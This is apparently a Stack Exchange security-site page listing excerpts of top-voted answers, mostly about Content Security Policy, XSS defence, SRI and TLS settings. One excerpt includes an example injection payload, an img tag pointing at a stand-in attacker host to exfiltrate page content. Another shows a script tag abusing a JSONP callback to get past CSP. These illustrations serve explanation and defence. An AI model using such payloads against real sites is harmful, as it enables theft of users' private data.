Stack Exchange Network

Stack Exchange network consists of 175 Q&A communities including Stack Overflow, the largest, most trusted online community for developers to learn, share their knowledge, and build their careers.

Visit Stack Exchange
69

Unfortunately, you are the ones responsible of seeing if your threat model is justified or not. Therefore, we cannot simply give a definite "yes" whether we see using the platform as a security threat or not. However, there are two points that I'd like to expand on: You seem to be extremely worried about the source code containing vulnerabilities and that ...


27

Just to be clear about how the attack works: A site allows you to enter text that is later displayed somewhere. It does not properly filter out HTML. Mallory enters <img src='https://some-evil-site.com/log_csrf?html=, and sends a link to the page to Alice. Alice views the page, and the rest of the page with Alice's secret content is sent to some-evil-...


22

@Simon has already provided a fantastic answer, but I'd like to add in response to this point: there is no possible real warranty that staff from Gitlab cannot investigate the source and find security holes or some sensitive configuration Configuration does not belong in the repository. Configuration should be combined with code at deployment, not ...


17

Yes, CSP goes a long way to defending against XSS. If you do a Google search on "Content Security Policy XSS" the first few links explain how and why. If you're having trouble using Google, here are some good links to help explain how CSP defends against XSS: An Introduction to Content Security Policy from Mike West An Introduction to Content Security ...


17

The note on whitelisting the data protocol which is referenced says data: Allows data: URIs to be used as a content source. This is insecure; an attacker can also inject arbitrary data: URIs. Use this sparingly and definitely not for scripts. This is not in a part specific to the risks of data uris in images, and I have not seen any substantiative ...


12

This is a great question, and I commend you taking the time to think about this from a security perspective rather than knee-jerk implement the solution from the link you sent. Yes, as you have feared, use of data: in a CSP directive is unsafe, since this allows for XSS vulnerabilities to be opened up as data: can handle any URI. This is spelled out in ...


12

If a user presses "View Source" and sends data manually, that's their choice, and nothing the site does will prevent it. However, CSP configurations are generally part of a defense in depth strategy - they prevent bad things happening, even if something goes wrong. In this case, they will be attempting to eliminate any input validation errors, but it's ...


10

Introduction CSP should be enforced by the browser as long as you stay on the page, and not just while it is originally loaded or rendered. Everything else would make it quite toothless. So the behaviour you are experiencing has nothing to do with when the script is loaded. Instead it is about what loads it. There are two issues. Problem 1: strict-dynamic ...


8

This is still incredibly confusing. I'm running Chrome 40 and like you I've just spent far longer than I would have liked figuring out what's going on. The CSP 2 spec says this about hashing <script> elements: For example, the SHA-256 digest of alert('Hello, world.'); is ...


7

In TLS, the client proposes and the server chooses. What you want it as simple as configuring your servers to only allow TLS 1.2 and the particular server suites you want to use. There isn't a need for anything special.


6

However, it would still be possible to alter the data on the screen in unexpected ways, and possible to create a convincing Phishing scam by providing a link out to another website. Is this accurate, or are out-links prohibitable also? Yes it is accurate with one caveat: people on your site run modern browsers. For this exact reason, my team ...


6

Consider if something like this was attempted by an attacker injecting XSS: <script src="https://maps.googleapis.com/foo?callback=alert"></script> This would execute the foo function from the Google APIs JavaScript SDK, and upon it's return would call the alert. This demonstrates that an attacker would be able to inject inline code into the ...


6

This is a misconception as described here. Also to make major contributions you need credit as a reputable editor. Here is a great description of the bots and volunteers that keep Wiki tidy Also it's a good thing that there is no central authority, it can be influenced, bought, threatened etc. Things you definitely don't want for something as important as ...


6

So why not allow inline JS? Because that would negate the whole benefit of a CSP! The goal is to stop XSS - injection of eg. JS into a HTML page. Since it is near impossible to distinguish between scripts that are legitimately mixed into HTML and scripts that have been maliciously injected into HTML, the best way to stop XSS is to simply not allow any ...


6

Won't whitelisting unsafe-inline and unsafe-eval kind of defeat the whole CSP? Yes. A tight CSP will make it harder to exploit XSS by restricting the scripts that can be executed. Using unsafe-inline and unsafe-eval allow to run any script. This is also why they are prefixed by unsafe-, to discourage you from using them in the CSP. Of course the data: ...


5

A virus binary is just like any other file. If it's not executed, then it is just data. Note that there are other possible avenues that a virus could be activated without your consent. For example, if your computer is set up to automatically display thumbnail from an image file, and the virus exploits a buffer overflow in the image parser of the thumbnail ...


5

Does it then give the developer a false sense of security .... You understanding of the issue is correct. But if this gives the developer a false sense of security depends on the knowledge of the developer. A properly educated developer should know that with a successful MITM attack everything can be changed in the traffic. This is not only restricted to ...


5

Your understanding is correct. Anything that isn't authenticated, encrypted, and integrity-checked is insecure. Full stop. You can make the attacker work a little harder for things, but at the end of the day the attacker can get between the user and the server, and after that all bets are off. Something like injecting ads already requires being in a MITM ...


5

Unfortunately that is not how it works. In your example, Content-Security-Policy:default-src *; script-src 'unsafe-inline' 'self'; Content-Security-Policy:script-src 'unsafe-inline' 'unsafe-eval' https://maps.googleapis.com/*'; 'unsafe-eval' https://maps.googleapis.com/*' are both sources. It is not stating that unsafe-eval is allowed on maps.googleapis....


5

The attacker could add some onclick event attribute on the different link of the page. When the user click on a link, he'll think he got a simple disconnection bug, instead of that, you're onclick event loaded a fake connection page. But, you're still on the domain and you can even manipulate the url with history.pushState(); as an example.


5

Basically anything that runs without the need to include a separate file. <script> document.write('Hi, I am inline'); function myFunction() { console.log('So am I') } </script> The reason the paper mentions this is that this piece of code cannot be validated as 'secure', without running it (or perform code analysis). When you only allow ...


5

If someone else is interested, given two sites XA and XB, if XB has an iframe of XA: XA's frame-ancestors must contain XB XB's child-src must contain XA So, frame-ancestors is used when you want that a site is able to load your site in an iframe, while child-src is used when you want to allow your site to be able to load a specific site in an iframe.


5

1. What happens if an upgrade fails? Exactly the same thing that would happen if a non-upgraded HTTPS request failed. The spec talks about rewriting requests. Exactly how this is done is explained in section 4.1 of the spec, but the essence is that http:// is replaced with https://. That means that once the request is rewritten it is indistinguishable from ...


5

Chrome tells you it knows the directive but the browser is currently configured to ignore it, no matter if it would be applied or not. SRI (Subresource Integrity), as a W3C Recommendation, is from June 2016 but require-sri-for, the Content Security Policy directive, was introduced later in Editor's Draft in August 2016. Drafts are provided for discussion ...


5

There are multiple options except for Gitlab (including pure Git). But as Gitlab is open source/open code project so you can just install it on your private server, so nobody except your team will have access. Which, raises, I believe, more prominent issue - your staff know security holes or some sensitive configuration and could sell the source code to ...


4

UPDATE: it seems script hashes are not supported in the Chrome release version. My test only works in Chrome Canary (when using script-src, not default-src) —— You should try using "script-src" instead of "default-src" (based on my quick reading of the working draft)


4

Content-Security-Policy is used to prevent against script injection (XSS). If inline script would be allowed an attacker could still use XSS to inject script into the existing page. That's why it is denied by default and anybody using inline script should either remove it or limit it to protected areas or protect the script against modifications by using ...


4

The HTTP Content-Security-Policy require-sri-for only aims to protect against developpers who would forget to add the integrity tag. Frederik Braun, who claims to be the author of subressource integrity wrote on his blog : GitHub is one of the first big websites using Subresource Integrity and can thus defend against potentially bad Content Delivery ...


4

MDN - Content Security Policy (CSP) - Browser Compatibility shows what is supported in MSIE and what not. To summarize: MSIE only supports the sandbox flag MSIE only supports the old X-Content-Security-Policy header. It does not matter if it is deprecated - MSIE by itself is deprecated too. Is there any alternative to CSP There is no general ...


4

[from comment] ... IE was not working, but, does ie11 even support this header? According to can i use content security policy there is only partial support in IE11: only the sandbox directive is supported and the header needs to be specified as X-Content-Security-Policy. Thus, no support in IE11 for what you are trying to do.


Only top voted, non community-wiki answers of a minimum length are eligible